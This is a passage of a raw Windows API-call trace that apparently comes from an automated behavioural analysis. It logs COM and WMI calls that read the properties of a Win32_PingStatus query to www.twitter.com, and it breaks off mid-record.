IWbemClassObject:Get (in: This=0x5f6b230, wszName="WriteWarningStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9358*=0, plFlavor=0x25c935c*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9358*=0, plFlavor=0x25c935c*=0) returned 0x80041002 [0160.415] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0160.417] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f6af90) returned 0x0 [0160.417] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0160.417] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f6af90, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f6af00) returned 0x0 [0160.417] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x0 [0160.417] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af00, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f6af00) returned 0x0 [0160.417] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af00, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0160.418] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af00) returned 0x3 [0160.418] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af00, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0160.418] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af00, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0160.418] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af00, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0160.418] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0160.418] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0160.418] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af00, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0160.418] WbemStatusCodeText:IUnknown:Release (This=0x5f6af00) returned 0x2 [0160.418] WbemStatusCodeText:IUnknown:Release (This=0x5f6af00) returned 0x1 [0160.418] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0160.418] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0160.418] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af00, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f6af00) returned 0x0 [0160.418] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af00) returned 0x3 [0160.418] WbemStatusCodeText:IUnknown:Release (This=0x5f6af00) returned 0x2 [0160.418] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f6af00, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0160.418] SysStringByteLen (bstr="Not found ") returned 0x14 [0160.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.423] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.423] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.423] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.423] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.423] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0160.423] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.423] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0160.424] SafeArrayGetLBound (in: psa=0x5f6db48, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0160.424] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.424] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.424] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.424] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.424] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.424] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.424] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.424] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.424] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.424] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.424] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.424] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.424] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.424] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.424] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.424] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.424] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.424] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.425] SysStringByteLen (bstr="__PATH") returned 0xc [0160.425] SysStringByteLen (bstr="__PATH") returned 0xc [0160.425] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9738*=0, plFlavor=0x25c973c*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25c9738*=3, plFlavor=0x25c973c*=64) returned 0x0 [0160.425] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c976c*=0, plFlavor=0x25c9770*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c976c*=8, plFlavor=0x25c9770*=64) returned 0x0 [0160.425] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.425] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.425] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c97c4*=0, plFlavor=0x25c97c8*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c97c4*=8, plFlavor=0x25c97c8*=64) returned 0x0 [0160.425] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c97ec*=0, plFlavor=0x25c97f0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25c97ec*=8, plFlavor=0x25c97f0*=64) returned 0x0 [0160.425] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.425] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.426] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9844*=0, plFlavor=0x25c9848*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c9844*=8, plFlavor=0x25c9848*=64) returned 0x0 [0160.426] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.426] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.426] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9a20*=0, plFlavor=0x25c9a24*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25c9a20*=3, plFlavor=0x25c9a24*=64) returned 0x0 [0160.426] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9a54*=0, plFlavor=0x25c9a58*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dde8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f6af90, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25c9a54*=8200, plFlavor=0x25c9a58*=64) returned 0x0 [0160.426] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9a88*=0, plFlavor=0x25c9a8c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25c9a88*=8, plFlavor=0x25c9a8c*=64) returned 0x0 [0160.426] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.426] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.427] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9ad4*=0, plFlavor=0x25c9ad8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25c9ad4*=8, plFlavor=0x25c9ad8*=64) returned 0x0 [0160.427] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.427] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.427] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9b20*=0, plFlavor=0x25c9b24*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25c9b20*=8, plFlavor=0x25c9b24*=64) returned 0x0 [0160.427] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.427] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0160.427] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0160.427] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.427] IWbemClassObject:Get (in: This=0x5f6b230, wszName="WriteVerboseStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9d58*=0, plFlavor=0x25c9d5c*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25c9d58*=0, plFlavor=0x25c9d5c*=0) returned 0x80041002 [0160.427] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0160.429] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5f6af90) returned 0x0 [0160.429] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af90, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0160.429] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5f6af90, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5f6af10) returned 0x0 [0160.429] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x0 [0160.429] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af10, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5f6af10) returned 0x0 [0160.429] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af10, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0160.429] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af10) returned 0x3 [0160.429] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af10, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0160.429] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af10, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0160.430] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af10, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0160.430] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0160.430] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0160.430] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af10, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0160.430] WbemStatusCodeText:IUnknown:Release (This=0x5f6af10) returned 0x2 [0160.430] WbemStatusCodeText:IUnknown:Release (This=0x5f6af10) returned 0x1 [0160.430] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0160.430] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0160.430] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f6af10, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f6af10) returned 0x0 [0160.430] WbemStatusCodeText:IUnknown:AddRef (This=0x5f6af10) returned 0x3 [0160.430] WbemStatusCodeText:IUnknown:Release (This=0x5f6af10) returned 0x2 [0160.430] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f6af10, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0160.430] SysStringByteLen (bstr="Not found ") returned 0x14 [0160.431] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.431] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.431] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.431] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0160.431] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0160.431] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.432] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0160.432] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.432] SafeArrayGetDim (psa=0x5f6dc68) returned 0x1 [0160.432] SafeArrayGetLBound (in: psa=0x5f6dc68, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0160.432] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.432] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.432] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.432] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.432] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.432] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.432] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.432] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.432] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.432] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.432] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.432] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.433] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.433] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.433] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.433] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.433] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.433] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.433] SysStringByteLen (bstr="__PATH") returned 0xc [0160.433] SysStringByteLen (bstr="__PATH") returned 0xc [0160.433] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca144*=0, plFlavor=0x25ca148*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25ca144*=3, plFlavor=0x25ca148*=64) returned 0x0 [0160.433] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca178*=0, plFlavor=0x25ca17c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ca178*=8, plFlavor=0x25ca17c*=64) returned 0x0 [0160.433] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.433] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.433] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca1d0*=0, plFlavor=0x25ca1d4*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca1d0*=8, plFlavor=0x25ca1d4*=64) returned 0x0 [0160.434] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca1f8*=0, plFlavor=0x25ca1fc*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ca1f8*=8, plFlavor=0x25ca1fc*=64) returned 0x0 [0160.434] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.434] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.434] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ca250*=0, plFlavor=0x25ca254*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 